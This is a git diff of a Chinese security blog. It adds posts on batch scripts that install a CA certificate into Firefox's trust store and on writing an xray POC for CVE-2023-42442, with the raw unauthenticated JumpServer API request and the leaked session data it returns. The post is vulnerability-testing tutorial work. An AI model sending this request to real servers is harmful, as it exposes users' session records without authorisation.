Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2023/06/07/firefox-and-bat/config.png b/2023/06/07/firefox-and-bat/config.png new file mode 100644 index 000000000..363930b10 Binary files /dev/null and b/2023/06/07/firefox-and-bat/config.png differ diff --git a/2023/06/07/firefox-and-bat/index.html b/2023/06/07/firefox-and-bat/index.html new file mode 100644 index 000000000..66e339501 --- /dev/null +++ b/2023/06/07/firefox-and-bat/index.html @@ -0,0 +1,263 @@ +Firefox安装证书的几种方式 | h4m5t's Blog + + + + + + + + + + + + +

Firefox安装证书的几种方式

Firefox安装证书的几种方式

Firefox安装证书的几种方式。

+

关于bat脚本

bat脚本中的变量类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@echo off

set regPath=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
set regKey=ProgramFilesDir
set regValue=
set Value1="ww"

reg query %regPath% >nul 2>nul
if %errorlevel%==0 (
echo Registry key %regPath% exists.
for /f "tokens=2*" %%a in ('reg query %regPath% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
echo %%b
echo !Value1! 1
)
)
) else (
echo Registry key %regPath% does not exist.
)
+ +

在这个示例脚本中,首先使用set命令给变量Value1赋初值为"ww"。然后,脚本使用reg query命令检查注册表中是否存在指定的注册表目录,如果存在,则使用for /f命令和reg query命令的输出来解析注册表值的名称和数据,并将其存储在变量Value1中。最后,脚本输出变量Value1的值,以及一个附加的字符串1

+

请注意,在使用echo命令输出变量Value1的值之前,需要在变量名前加上%字符。否则,输出的将是变量名本身,而不是其存储的值。另外,变量Value1的值在if语句中被设置,因此需要在该语句块中使用!字符来代替%字符,以启用延迟变量扩展。这样,才能在语句块中正确地引用变量Value1的值。

+

我刚开始用%%输出变量值,发现跟预期不一致,万能的GPT帮我纠正了这个错误。

+

关于引用变量:

+

在 Windows 中,批处理脚本中使用变量时,有两种方式来引用变量的值:%var%!var!。这两种方式的主要区别在于变量的扩展方式和生命周期。

+

%var% 表示立即扩展变量,也称为百分号变量。在批处理脚本中,使用 %var% 可以将变量扩展为其当前值。变量在整个批处理脚本的生命周期内都是有效的,但是在某些情况下,它们可能不会像预期那样扩展。例如,如果要在一个代码块中使用变量,而该变量在该代码块之前已被更改,则百分号变量可能会扩展为旧值,而不是新值。

+

!var! 表示延迟扩展变量,也称为感叹号变量。在批处理脚本中,使用 !var! 可以将变量扩展为其当前值,但是它是在运行时进行扩展的,而不是在解析时进行扩展的。因此,变量的生命周期仅限于它们在脚本中使用的代码块。如果需要在代码块中使用变量,并且该变量在代码块之前已被更改,则可以使用感叹号变量来确保变量扩展为其当前值。

+

在批处理脚本中,使用 setlocal enabledelayedexpansion 命令可以启用感叹号变量。启用延迟扩展后,可以使用 !var! 来引用变量的值。

+

因此,%% 表示百分号变量,!! 表示感叹号变量。在批处理脚本中,使用 %% 来引用百分号变量的值,使用 !! 来引用感叹号变量的值。

+

脚本闪退怎么办

脚本执行后马上闪退可能是由于脚本中的某个命令出错导致的。您可以尝试添加 pause 命令到脚本的末尾,这样脚本执行完毕后会暂停,以便您查看执行结果和错误信息。

+

如果您希望在脚本发生错误时能够看到错误信息,可以将 @echo off 命令注释掉,这样脚本在执行时会输出命令的执行结果和错误信息,以便您查看。

+

另外,您还可以尝试在命令行中执行脚本,而不是双击脚本文件来执行,这样如果脚本发生错误,错误信息将会一直显示在命令行中,直到您手动关闭命令行窗口。

+

最后,如果您仍然无法解决问题,可以尝试逐步注释掉脚本中的命令,直到找到引起问题的命令为止。

+

关于Firefox证书

firefox使用自己的证书库,其他浏览器如Chrome,使用操作系统的证书库。

+

主要参考资料

https://wiki.mozilla.org/CA/AddRootToFirefox (官方说法,最全。)

+

https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla

+

方法1:certutil.exe

使用nss,下载nss包(官方已删除已仓库连接,没有编译好的版本,需重新编译)好像还需要NSPR,使用certutil.exe(和windows自带的certutil是两种不同的东西。)
参考地址:https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla
https://stackoverflow.com/questions/50159193/how-to-add-certificate-programmatically-into-firefox-version-59-cannot-find-cer
文件下载路径:
https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_13_5_RTM/src/
https://ftp.mozilla.org/pub/nspr/releases/

+

构建方法:https://brpoblog.wordpress.com/2015/10/02/add-certificates-to-firefox-installation-with-certutil/

+

报错,提示缺少MSVCR71.DLL。下载此dll文件,放到bin文件夹。
https://cn.dll-files.com/download/837b1e310f2aa8b20f07a9b1ce90ac4f/msvcr71.dll.html?c=d3JyZEIva1QwMm1IbFpwVGhQK1kwQT09

+
1
2
3
4
5
6
7
8
9
10
11
12
13
显示证书:

certutil.exe -L -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

安装证书:

certutil.exe -A -n "SomeNametest" -t "u,u,u" -i D:\UserData\h4m5tdesktop\Fortinet_CA_SSL.cer -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

安装之后再查看:

certutil.exe -L -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

发现已经在列表中了。
+ +

certutil.exe使用方法:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
C:\Users\h4m5t\Downloads\nss-3.11\nss-3.11\bin>certutil.exe -H
-A Add a certificate to the database (create if needed)
-E Add an Email certificate to the database (create if needed)
-n cert-name Specify the nickname of the certificate to add
-t trustargs Set the certificate trust attributes:
p valid peer
P trusted peer (implies p)
c valid CA
T trusted CA to issue client certs (implies c)
C trusted CA to issue server certs (implies c)
u user cert
w send warning
g make step-up cert
-f pwfile Specify the password file
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-a The input certificate is encoded in ASCII (RFC1113)
-i input Specify the certificate file (default is stdin)

-C Create a new binary certificate from a BINARY cert request
-c issuer-name The nickname of the issuer cert
-i cert-request The BINARY certificate request file
-o output-cert Output binary cert to this file (default is stdout)
-x Self sign
-m serial-number Cert serial number
-w warp-months Time Warp
-v months-valid Months valid (default is 3)
-f pwfile Specify the password file
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-1 Create key usage extension
-2 Create basic constraint extension
-3 Create authority key ID extension
-4 Create crl distribution point extension
-5 Create netscape cert type extension
-6 Create extended key usage extension
-7 Create an email subject alt name extension
-8 Create an dns subject alt name extension

-G Generate a new key pair
-h token-name Name of token in which to generate key (default is internal)
-k key-type Type of key pair to generate ("dsa", "rsa" (default))
-g key-size Key size in bits, (min 512, max 2048, default 1024)
-y exp Set the public exponent value (3, 17, 65537) (rsa only)
-f password-file Specify the password file
-z noisefile Specify the noise file to be used
-q pqgfile read PQG value from pqgfile (dsa only)
-d keydir Key database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-D Delete a certificate from the database
-n cert-name The nickname of the cert to delete
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-U List all modules
-d moddir Module database directory (default is '~/.netscape')
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-K List all keys
-h token-name Name of token in which to look for keys (default is internal, use "all" to list keys on all tokens)
-k key-type Type of key pair to list ("all", "dsa", "rsa" (default))
-f password-file Specify the password file
-d keydir Key database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-L List all certs, or print out a single named cert
-n cert-name Pretty print named cert (list all if unspecified)
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W
-r For single cert, print binary DER encoding
-a For single cert, print ASCII encoding (RFC1113)

-M Modify trust attributes of certificate
-n cert-name The nickname of the cert to modify
-t trustargs Set the certificate trust attributes (see -A above)
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-N Create a new certificate database
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-T Reset the Key database or token
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-h token-name Token to reset (default is internal)


-O Print the chain of a certificate
-n cert-name The nickname of the cert to modify
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-R Generate a certificate request (stdout)
-s subject Specify the subject name (using RFC1485)
-o output-req Output the cert request to this file
-k key-type Type of key pair to generate ("dsa", "rsa" (default))
-h token-name Name of token in which to generate key (default is internal)
-g key-size Key size in bits, RSA keys only (min 512, max 2048, default 1024)
-q pqgfile Name of file containing PQG parameters (dsa only)
-f pwfile Specify the password file
-d keydir Key database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-p phone Specify the contact phone number ("123-456-7890")
-a Output the cert request in ASCII (RFC1113); default is binary

-V Validate a certificate
-n cert-name The nickname of the cert to Validate
-b time validity time ("YYMMDDHHMMSS[+HHMM|-HHMM|Z]")
-e Check certificate signature
-u certusage Specify certificate usage:
C SSL Client
V SSL Server
S Email signer
R Email Recipient
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-S Make a certificate and add to database
-n key-name Specify the nickname of the cert
-s subject Specify the subject name (using RFC1485)
-c issuer-name The nickname of the issuer cert
-t trustargs Set the certificate trust attributes (see -A above)
-k key-type Type of key pair to generate ("dsa", "rsa" (default))
-h token-name Name of token in which to generate key (default is internal)
-g key-size Key size in bits, RSA keys only (min 512, max 2048, default 1024)
-q pqgfile Name of file containing PQG parameters (dsa only)
-x Self sign
-m serial-number Cert serial number
-w warp-months Time Warp
-v months-valid Months valid (default is 3)
-f pwfile Specify the password file
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-p phone Specify the contact phone number ("123-456-7890")
-1 Create key usage extension
-2 Create basic constraint extension
-3 Create authority key ID extension
-4 Create crl distribution point extension
-5 Create netscape cert type extension
-6 Create extended key usage extension
-7 Create an email subject alt name extension
-8 Create an dns subject alt name extension
+ + + +

方法2:用GitHub脚本更新cert8.db

使用https://github.com/christian-korneck/firefox_add-certs (The release download includes a build of the NSS certutil.exe.)

+

方法3:启用security.enterprise_roots.enabled

适用于Firefox49版本及以上

+

https://support.mozilla.org/en-US/kb/setting-certificate-authorities-firefox

+

https://community.fortinet.com/t5/FortiGate/Technical-Note-Differences-between-SSL-Certificate-Inspection/ta-p/192301

+

手动启用

替换firefox configuration

+

https://support.umbrella.com/hc/en-us/articles/115000669728-Configuring-Firefox-to-use-the-Windows-Certificate-Store

+

https://docs.trendmicro.com/all/ent/ddwi/2.5/en-us/ddwi_2.5_olh/Deploy-the-Default-C_001.html

+

cfg配置文件启用

创建ddwi.cfg,内容如下。复制到文件夹:

+

C:\Program Files\Mozilla Firefox\ddwi.cfg

+

C:\Program Files (x86)\Mozilla Firefox\ddwi.cfg

+
1
2
   //
lockPref("security.enterprise_roots.enabled", true);
+ +

创建local-settings.js,内容如下。复制到文件夹:

+

C:\Program Files\Mozilla Firefox\defaults\pref\local-settings.js

+

C:\Program Files (x86)\Mozilla Firefox\defaults\pref\local-settings.js

+
1
2
pref("general.config.obscure_value", 0);
pref("general.config.filename", "ddwi.cfg");
+ +

注意,通过上述启用此选项后,会出现过几分钟又变成false的现象,过一会儿又自动变成True,没查到为什么会有这种现象,暂未解决。所以建议手动更改此配置选项。或使用下面的另一种方法:修改user.js配置文件。

+

user.js配置文件启用

参考:http://www.360doc.com/content/19/1031/22/73478_870350348.shtml

+

https://kb.mozillazine.org/User.js_file

+

pic

+

FireFox搜索框输入about:profiles,找到配置文件路径,一般情况下有两个配置文件目录。在如下路径:

+
1
%APPDATA%\Mozilla\Firefox\Profiles
+ +

创建user.js文件,复制到此配置文件目录下。

+
1
user_pref("security.enterprise_roots.enabled", true);
+ +

重启浏览器,发现此选项已经变成True

+

pic

+

安装脚本

准备好证书文件,各种配置文件,以及用NSS库构建的certutil.exe文件和安装脚本。全部放到C盘根目录下的firefoxinstallcert文件夹。

+

建议使用脚本2

+

脚本1

通过cfg配置文件lockPref启用security.enterprise_roots.enabled。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
@echo off
::开启变量延迟扩展
setlocal EnableExtensions EnableDelayedExpansion

echo ###checking new_version###
echo --------------------------
set regPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox"
set regPath2="HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Mozilla\Mozilla Firefox"
set regKey="CurrentVersion"
set regValue=""

set Value1="checkversion"

rem 检查新版本注册表是否存在
reg query %regPath1% >nul 2>nul
echo %errorlevel%
echo !errorlevel!
if %errorlevel%==0 (
echo new_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath1% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo new_version Registry key %regkey% does not exist.
echo --------------------------
::检查旧版本注册表路径是否存在
echo ###checking old_version###
reg query %regPath2% >nul 2>nul
if !errorlevel!==0 (
echo old_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath2% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo old_version Registry key %regkey% does not exist.
set Value1=0.0.0
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majorold: %Major%
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majornew: %Major%

::显示最终版本,若为0,则表示未安装Firefox
echo --------------------------
set final_version= %Major%
echo final_version %final_version%
echo --------------------------

rem 检查版本号
if %final_version% EQU 0 (
echo Program version is 0. Exiting script...
exit /b 1
) else if %Major% LSS 49 (
call :function1
) else (
call :function2
)

rem 退出脚本
exit /b

::
:function1
echo Program version is less than 49. Executing function 1...
rem 执行函数1的代码,在49版本以下,更新cert8.db证书库。

::显示db中的现有证书
set "db_path=%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\"
set default_name=""
::判断证书数据库路径是否存在
IF EXIST %db_path% (
echo default_path exists
rem 在这里添加需要执行的命令
set "count=0"
for /d %%i in ("%db_path%\*") do (
set /a count+=1
set "folder=%%~nxi"
)
::判断是否只有*.default这一个文件夹
if !count! equ 1 (
set default_name=!folder!
set "all_path=%db_path%!default_name!"
::显示default文件夹全路径
echo !all_path!
::显示更新前证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
::更新证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -A -n "SomeNametest" -t "u,u,u" -i "C:\firefoxinstallcert\TPLINKCA.cer" -d !all_path!
::显示更新后的证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
) else (
echo no or more
)
) ELSE (
echo no
)


goto :eof


:function2
echo Program version is greater than or equal to 49. Executing function 2...
rem 执行函数2的代码,在49版本以上的FireFox中启用security.enterprise_roots.enabled

set source_file_cfg=C:\firefoxinstallcert\ddwi.cfg
set "dest_dir_cfg=C:\Program Files\Mozilla Firefox\"
echo Moving %source_file_cfg% to %dest_dir_cfg%...
if exist "%source_file_cfg%" (
if exist "%dest_dir_cfg%" (
copy "%source_file_cfg%" "%dest_dir_cfg%"
) else (
echo Directory %dest_dir_cfg% does not exist! Cannot move file.
)
) else (
echo Source file %source_file_cfg% does not exist! Cannot move file.
)

set "dest_dir_cfg_x86=C:\Program Files (x86)\Mozilla Firefox\"
echo Moving %source_file_cfg% to %dest_dir_cfg_x86%...
if exist "%source_file_cfg%" (
if exist "%dest_dir_cfg_x86%" (
copy "%source_file_cfg%" "%dest_dir_cfg_x86%"
) else (
echo Directory does not exist! Cannot move file.
)
) else (
echo Source file %source_file_cfg% does not exist! Cannot move file.
)


set source_file_js=C:\firefoxinstallcert\local-settings.js
set "dest_dir_js=C:\Program Files\Mozilla Firefox\defaults\pref\"
echo Moving %source_file_js% to %dest_dir_js%...
if exist "%source_file_js%" (
if exist "%dest_dir_js%" (
copy "%source_file_js%" "%dest_dir_js%"
) else (
echo Directory does not exist! Cannot move file.
)
) else (
echo Source file %source_file_js% does not exist! Cannot move file.
)
set "dest_dir_js_x86=C:\Program Files (x86)\Mozilla Firefox\defaults\pref\"
echo Moving %source_file_js% to %dest_dir_js_x86%...
if exist "%source_file_js%" (
if exist "%dest_dir_js_x86%" (
copy "%source_file_js%" "%dest_dir_js_x86%"
) else (
echo Directory does not exist! Cannot move file.
)
) else (
echo Source file %source_file_js% does not exist! Cannot move file.
)

goto :eof

pause
+ +

脚本2

通过user.js启用security.enterprise_roots.enabled。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
@echo off
::开启变量延迟扩展
setlocal EnableExtensions EnableDelayedExpansion

echo ###checking new_version###
echo --------------------------
set regPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox"
set regPath2="HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Mozilla\Mozilla Firefox"
set regKey="CurrentVersion"
set regValue=""

set Value1="checkversion"

rem 检查新版本注册表是否存在
reg query %regPath1% >nul 2>nul
echo %errorlevel%
echo !errorlevel!
if %errorlevel%==0 (
echo new_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath1% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo new_version Registry key %regkey% does not exist.
echo --------------------------
::检查旧版本注册表路径是否存在
echo ###checking old_version###
reg query %regPath2% >nul 2>nul
if !errorlevel!==0 (
echo old_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath2% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo old_version Registry key %regkey% does not exist.
set Value1=0.0.0
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majorold: %Major%
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majornew: %Major%

::显示最终版本,若为0,则表示未安装Firefox
echo --------------------------
set final_version= %Major%
echo final_version %final_version%
echo --------------------------

rem 检查版本号
if %final_version% EQU 0 (
echo Program version is 0. Exiting script...
exit /b 1
) else if %Major% LSS 49 (
call :function1
) else (
call :function2
)

rem 退出脚本
exit /b

::
:function1
echo Program version is less than 49. Executing function 1...
rem 执行函数1的代码,在49版本以下,更新cert8.db证书库。

::显示db中的现有证书
set "db_path=%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\"
set default_name=""
::判断证书数据库路径是否存在
IF EXIST %db_path% (
echo default_path exists
rem 在这里添加需要执行的命令
set "count=0"
for /d %%i in ("%db_path%\*") do (
set /a count+=1
set "folder=%%~nxi"
)
::判断是否只有*.default这一个文件夹
if !count! equ 1 (
set default_name=!folder!
set "all_path=%db_path%!default_name!"
::显示default文件夹全路径
echo !all_path!
::显示更新前证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
::更新证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -A -n "SomeNametest" -t "u,u,u" -i "C:\firefoxinstallcert\TPLINKCA.cer" -d !all_path!
::显示更新后的证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
) else (
echo no or more
)
) ELSE (
echo no
)

goto :eof

:function2
echo Program version is greater than or equal to 49. Executing function 2...
rem 执行函数2的代码,在49版本以上的FireFox中通过增加user.js配置文件启用security.enterprise_roots.enabled

::profiles默认配置文件目录
set "parentFolder=%APPDATA%\Mozilla\Firefox\Profiles"
::搜索存在default字符串的文件夹,即profiles配置文件夹
set "searchString=default"
set source_user_js=C:\firefoxinstallcert\user.js
::将user.js文件拷贝到配置文件目录

IF EXIST %parentFolder% (
for /d %%F in ("%parentFolder%\*") do (
echo "%%~nxF" | findstr /C:"%searchString%" >nul 2>&1
if errorlevel 1 (
echo default Folder not found.
) else (
echo default Folder found.
rem 拼接全路径
set "all_default_path=%parentFolder%\%%~nxF"
echo !all_default_path!
copy "%source_user_js%" !all_default_path!
)
)
) ELSE (
echo no
)
goto :eof
pause
+ + + +

其他参考资料

http://www.certificate.fyicenter.com/389_Download_Mozilla_certutil_Tool_for_Windows_7.html

+

https://dev-tech-crypto.mozilla.narkive.com/QtN6vuxG/availability-of-certutil-on-windows

+

https://brpoblog.wordpress.com/2015/10/02/add-certificates-to-firefox-installation-with-certutil/

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2023/06/07/firefox-and-bat/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2023/06/07/firefox-and-bat/profiles.png b/2023/06/07/firefox-and-bat/profiles.png new file mode 100644 index 000000000..6042c4f4f Binary files /dev/null and b/2023/06/07/firefox-and-bat/profiles.png differ diff --git a/2023/06/23/waf/index.html b/2023/06/23/waf/index.html new file mode 100644 index 000000000..88399bb1e --- /dev/null +++ b/2023/06/23/waf/index.html @@ -0,0 +1,194 @@ +WAF | h4m5t's Blog + + + + + + + + + + + + + + +

WAF

WAF概念介绍

WAF概念

WAF的产品形态

WAF部署模式

开源WAF

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2023/06/23/waf/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2023/06/23/waf/waf.png b/2023/06/23/waf/waf.png new file mode 100644 index 000000000..44770d43c Binary files /dev/null and b/2023/06/23/waf/waf.png differ diff --git a/2023/09/23/xray/index.html b/2023/09/23/xray/index.html new file mode 100644 index 000000000..2efa5befa --- /dev/null +++ b/2023/09/23/xray/index.html @@ -0,0 +1,243 @@ +xray之以CVE-2023-42442为例POC编写 | h4m5t's Blog + + + + + + + + + + + + + + +

xray之以CVE-2023-42442为例POC编写

xray下载

社区版下载和使用

+

注意下载新版的,旧版可能无法加载自定义POC

+

https://github.com/chaitin/xray/releases

+

使用方法

查看help

+

xray_windows_amd64.exe webscan --help

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Version: 1.9.11/eb0c331d/COMMUNITY

NAME:
xray - A powerful scanner engine [https://docs.xray.cool]

USAGE:
[global options] command [command options] [arguments...]

COMMANDS:
webscan, ws Run a webscan task
servicescan, ss Run a service scan task
subdomain, sd Run a subdomain task
poclint, pl, lint lint yaml poc
burp-gamma, btg Convert the export file of burp historical proxy records to POC format
transform transform other script to gamma
reverse Run a standalone reverse server
convert convert results from json to html or from html to json
genca GenerateToFile CA certificate and key
upgrade check new version and upgrade self if any updates found
version Show version info
x A command that enables all plugins.
You can customize new commands or modify the plugins enabled by a command in the configuration file.
help, h Shows a list of commands or help for one command

GLOBAL OPTIONS:
--config FILE Load configuration from FILE (default: "config.yaml")
--log-level value Log level, choices are debug, info, warn, error, fatal
--help, -h show help
[INFO] 2023-09-21 17:36:22 [default:entry.go:226] Loading config file from config.yaml
+ +

查看webscan使用

+

xray_windows_amd64.exe webscan --help

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Version: 1.9.11/eb0c331d/COMMUNITY

NAME:
webscan - Run a webscan task

USAGE:
webscan [command options] [arguments...]

OPTIONS:
--list, -l list plugins
--plugins value, --plugin value, --plug value specify the plugins to run, separated by ','
--poc value, -p value specify the poc to run, separated by ','
--level value specify the level of poc to run, separated by ','
--tags value specify the level of poc to run, separated by ','

--listen value use proxy resource collector, value is proxy addr, (example: 127.0.0.1:1111)
--basic-crawler value, --basic value use a basic spider to crawl the target and scan the requests
--browser-crawler value, --browser value use a browser spider to crawl the target and scan the requests
--url-file value, --uf value read urls from a local file and scan these urls, one url per line
--burp-file value, --bf value read requests from burpsuite exported file as targets
--url value, -u value scan a **single** url
--data value, -d value data string to be sent through POST (e.g. 'username=admin')
--raw-request FILE, --rr FILE load http raw request from a FILE
--force-ssl, --fs force usage of SSL/HTTPS for raw-request

--json-output FILE, --jo FILE output xray results to FILE in json format
--html-output FILE, --ho FILE output xray result to FILE in HTML format
--webhook-output value, --wo value post xray result to url in json format
+ +

CVE-2023-42442漏洞复现

参考:https://blog.csdn.net/holyxp/article/details/133066481

+

https://www.secrss.com/articles/58981

+

burp发送请求包:

+
1
2
3
4
5
6
7
8
GET /api/v1/terminal/sessions/?limit=2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
+ +

查看response

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 21 Sep 2023 08:05:28 GMT
Content-Type: application/json
Content-Length: 1782
Connection: close
Vary: Accept, Accept-Language, Cookie
Allow: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
Content-Language: en
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; Path=/

{"count":18168,"next":"http://example.com/api/v1/terminal/sessions/?limit=2&offset=2","previous":null,"results":[{"id":"4d2f4dfc-8332-46e1-a691-fe5dbe72fc63","user":"林(lin@example.com)","asset":"林(10.15.168.113)","user_id":"70932e0f-5e36-4086-821a-ee453d01f39f","asset_id":"bac40e7c-27d9-4040-b4ad-b692576ac0c9","account":"@INPUT(ltc)","account_id":"4172edfc-4c65-43af-844d-ad729c98babd","protocol":"rdp","type":{"value":"normal","label":"Normal"},"login_from":{"value":"WT","label":"Web Terminal"},"remote_addr":"172.33.4.215","comment":null,"terminal":{"id":"f4bc8fa3-8ff2-4836-b0a0-17a07c314ce4","name":"[Lion]-centos-73bf114de44f"},"command_amount":0,"org_id":"00000000-0000-0000-0000-000000000002","org_name":"Default","is_success":true,"is_finished":false,"has_replay":false,"has_command":false,"can_replay":false,"can_join":true,"can_terminate":true,"date_start":"2023/09/21 16:04:36 +0800","date_end":null},{"id":"95f80041-4bda-45e5-a513-f4bc55385587","user":"郭(guo@example.com)","asset":"郭(10.18.100.100)","user_id":"74b08df7-cadc-4e9b-a1b7-1dd6a53f0314","asset_id":"6dd5488f-bd7a-4731-817f-85217416a52c","account":"@INPUT(GW)","account_id":"98ab7554-e018-4f3d-b936-c1c9a37b62ab","protocol":"rdp","type":{"value":"normal","label":"Normal"},"login_from":{"value":"WT","label":"Web Terminal"},"remote_addr":"172.33.129.206","comment":null,"terminal":{"id":"f4bc8fa3-8ff2-4836-b0a0-17a07c314ce4","name":"[Lion]-centos-73bf114de44f"},"command_amount":0,"org_id":"00000000-0000-0000-0000-000000000002","org_name":"Default","is_success":true,"is_finished":false,"has_replay":false,"has_command":false,"can_replay":false,"can_join":true,"can_terminate":true,"date_start":"2023/09/21 16:03:41 +0800","date_end":null}]}
+ + + +

自定义POC演示

使用方法,运行单个自定义POC,命令如下:

+
1
xray_windows_amd64.exe webscan --plugins phantasm --poc .\POC\yaml-poc-fit2cloud-jumpserver-unauthorized_access-CVE-2023-42442.yml --url http://example.com/ --html-output CVE-2023-42442.html --json-output CVE-2023-42442.json
+ +

